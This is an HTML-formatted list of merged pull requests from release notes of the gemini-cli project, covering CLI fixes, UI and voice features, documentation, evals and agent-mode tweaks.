<li>fix(cli): use resolved sandbox state for auto-update check by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adib234/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adib234">@Adib234</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361039695" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26285" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26285/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26285">#26285</a></li>
<li>
<h1>Metrics Integrity &amp; Standardized Reporting (BT-01) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli">@gemini-cli</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354398044" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26240" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26240/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26240">#26240</a></h1>
</li>
<li>Add Star History section to README by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bdmorgan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bdmorgan">@bdmorgan</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361256195" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26290" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26290/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26290">#26290</a></li>
<li>Add Star History section to README by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bdmorgan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bdmorgan">@bdmorgan</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362374481" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26308" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26308/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26308">#26308</a></li>
<li>Remove Star History section from README by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bdmorgan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bdmorgan">@bdmorgan</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362377079" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26309" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26309/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26309">#26309</a></li>
<li>test(evals): add behavioral eval for file creation and write_file tool selection by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/akh64bit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/akh64bit">@akh64bit</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361266727" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26292" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26292/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26292">#26292</a></li>
<li>feat(config): enable Gemma 4 models by default via Gemini API by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Abhijit-2592/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Abhijit-2592">@Abhijit-2592</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362358588" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26307" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26307/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26307">#26307</a></li>
<li>fix(cli): insert voice transcription at cursor position instead of ap… by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Zheyuan-Lin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Zheyuan-Lin">@Zheyuan-Lin</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361135095" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26287" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26287/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26287">#26287</a></li>
<li>fix(ui): fix issue with box edges by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gundermanc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gundermanc">@gundermanc</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346903548" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26148" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26148/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26148">#26148</a></li>
<li>fix(cli): respect .env override for GOOGLE_CLOUD_PROJECT by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidAPierce/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidAPierce">@DavidAPierce</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361137587" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26288" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26288/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26288">#26288</a></li>
<li>fix(ci): robust version checking in release verification by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scidomino/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scidomino">@scidomino</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365554654" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26337" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26337/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26337">#26337</a></li>
<li>fix(cli): enable daemon relaunch in binary and bundle keytar by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ruomengz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ruomengz">@ruomengz</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365344109" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26333" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26333/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26333">#26333</a></li>
<li>fix(core): discourage unprompted git add . in prompt snippets by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/akh64bit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/akh64bit">@akh64bit</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353296063" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26220" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26220/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26220">#26220</a></li>
<li>feat(ui): added wave animation for voice mode by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/devr0306/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/devr0306">@devr0306</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361022546" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26284" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26284/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26284">#26284</a></li>
<li>fix(cli): prevent Escape from clearing input buffer (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3832705765" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/17083" data-hovercard-type="issue" data-hovercard-url="/google-gemini/gemini-cli/issues/17083/hovercard" href="https://github.com/google-gemini/gemini-cli/issues/17083">#17083</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365636996" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26339" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26339/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26339">#26339</a></li>
<li>fix(cli): undeprecate --prompt and correct positional query docs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adib234/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adib234">@Adib234</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4364924963" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26329" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26329/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26329">#26329</a></li>
<li>Metrics updates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli">@gemini-cli</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4366013293" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26348" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26348/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26348">#26348</a></li>
<li>fix(core): remove "System: Please continue." injection on InvalidStream events by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SandyTao520/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SandyTao520">@SandyTao520</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365665576" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26340" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26340/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26340">#26340</a></li>
<li>docs(policy-engine): add tool argument keys reference and shell policy cross-links by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/harshpujari/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/harshpujari">@harshpujari</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4255570391" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/25292" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/25292/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/25292">#25292</a></li>
<li>fix(cli): resolve Ghostty/raw-mode False Cancellation in oauth flow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Aarchi-07/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Aarchi-07">@Aarchi-07</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4232907236" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/25026" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/25026/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/25026">#25026</a></li>
<li>fix(core): reset session-scoped state on resumption by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365683263" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26342" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26342/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26342">#26342</a></li>
<li>Fix bulk of remaining issues with generalist profile by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshualitt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshualitt">@joshualitt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338683561" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26073" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26073/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26073">#26073</a></li>
<li>fix(core): make subagents aware of active approval modes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/akh64bit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/akh64bit">@akh64bit</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4124289658" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/23608" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/23608/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/23608">#23608</a></li>
<li>fix(acp): resolve agent mode disconnect and improve mode awareness by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sripasg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sripasg">@sripasg</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365306329" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26332" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26332/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26332">#26332</a></li>
<li>docs(sdk): add JSDoc to exported interfaces in packages/sdk/src/types.ts by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4377544510" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26441" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26441/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26441">#26441</a></li>
<li>perf: skip redundant GEMINI.md loading in partialConfig by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4377692099" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26443" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26443/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26443">#26443</a></li>
<li>Enhance React guidelines by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/psinha40898/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/psinha40898">@psinha40898</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4083197400" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/22667" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/22667/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/22667">#22667</a></li>
<li>feat(core): reinforce Inquiry constraints to prevent unauthorized changes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/akh64bit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/akh64bit">@akh64bit</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362738162" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26310" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26310/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26310">#26310</a></li>
<li>revert: fix(ci): robust version checking in release verification (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365554654" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26337" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26337/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26337">#26337</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scidomino/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scidomino">@scidomino</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4378157538" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26450" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26450/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26450">#26450</a></li>
<li>refactor(UI): created constants file for ThemeDialog by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/devr0306/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/devr0306">@devr0306</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4377881976" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26446" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26446/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26446">#26446</a></li>
<li>docs: fix GitHub capitalization in releases guide by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/haosenwang1018/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/haosenwang1018">@haosenwang1018</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369376011" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26379" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26379/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26379">#26379</a></li>
<li>fix(cli): ensure branch indicator updates in sub-directories and worktrees by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adib234/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adib234">@Adib234</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365024444" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26330" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26330/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26330">#26330</a></li>
<li>feat: add minimal V8 heap snapshot utility for memory diagnostics by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4377510172" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26440" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26440/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26440">#26440</a></li>
<li>fix(hooks): preserve non-text parts in fromHookLLMRequest by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SandyTao520/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SandyTao520">@SandyTao520</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360196351" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26275" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26275/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26275">#26275</a></li>
<li>fix(cli): allow early stdout when config is undefined by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4378241504" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26453" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26453/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26453">#26453</a></li>
<li>fix(cli)<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4029960863" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/21297" data-hovercard-type="issue" data-hovercard-url="/google-gemini/gemini-cli/issues/21297/hovercard" href="https://github.com/google-gemini/gemini-cli/issues/21297">#21297</a>: clear skills consent dialog before reload by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/manavmax/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/manavmax">@manavmax</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4376286925" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26431" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26431/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26431">#26431</a></li>
<li>fix(cli): render LaTeX-style output as Unicode in the TUI by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dimssu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dimssu">@dimssu</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4309323527" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/25802" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/25802/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/25802">#25802</a></li>
<li>fix(core): use close event instead of exit in child_process fallback by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tusaryan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tusaryan">@tusaryan</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4294968879" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/25695" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/25695/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/25695">#25695</a></li>
<li>feat(voice): add privacy and compliance UX warning for Gemini Live backend by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4378287724" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26454" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26454/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26454">#26454</a></li>
<li>feat(memory): add Auto Memory inbox flow with canonical-patch contract by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SandyTao520/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SandyTao520">@SandyTao520</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365597241" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26338" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26338/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26338">#26338</a></li>
<li>test(cleanup): fix temporary directory leaks in test suites by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adib234/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adib234">@Adib234</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353183417" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26217" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26217/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26217">#26217</a></li>
<li>feat: add ignoreLocalEnv setting and --ignore-env flag (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3185527105" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/2493" data-hovercard-type="issue" data-hovercard-url="/google-gemini/gemini-cli/issues/2493/hovercard" href="https://github.com/google-gemini/gemini-cli/issues/2493">#2493</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4377803246" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26445" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26445/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26445">#26445</a></li>
<li>docs(sdk): add JSDoc to all exported interfaces and types by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fauzan171/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fauzan171">@fauzan171</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360557925" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26277" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26277/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26277">#26277</a></li>
<li>feat(cli): improve /agents refresh logging by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4377656172" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26442" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26442/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26442">#26442</a></li>
<li>Fix: make Dockerfile self-contained with multi-stage build by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Famous077/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Famous077">@Famous077</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4174238508" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/24277" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/24277/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/24277">#24277</a></li>
<li>fix(core): filter unsupported multimodal types from tool responses by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aishaneeshah/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aishaneeshah">@aishaneeshah</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4366510862" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26352" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26352/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26352">#26352</a></li>
<li>fix(core): properly format markdown in AskUser tool by unescaping newlines by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adib234/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adib234">@Adib234</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4366047622" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26349" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26349/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26349">#26349</a></li>
<li>feat(bot): add actions spend metric script by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gundermanc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gundermanc">@gundermanc</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4379286680" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26463" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26463/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26463">#26463</a></li>
<li>feat(cli): add /bug-memory command and auto-capture heap snapshot in /bug by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Anjaligarhwal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Anjaligarhwal">@Anjaligarhwal</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4289216940" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/25639" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/25639/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/25639">#25639</a></li>
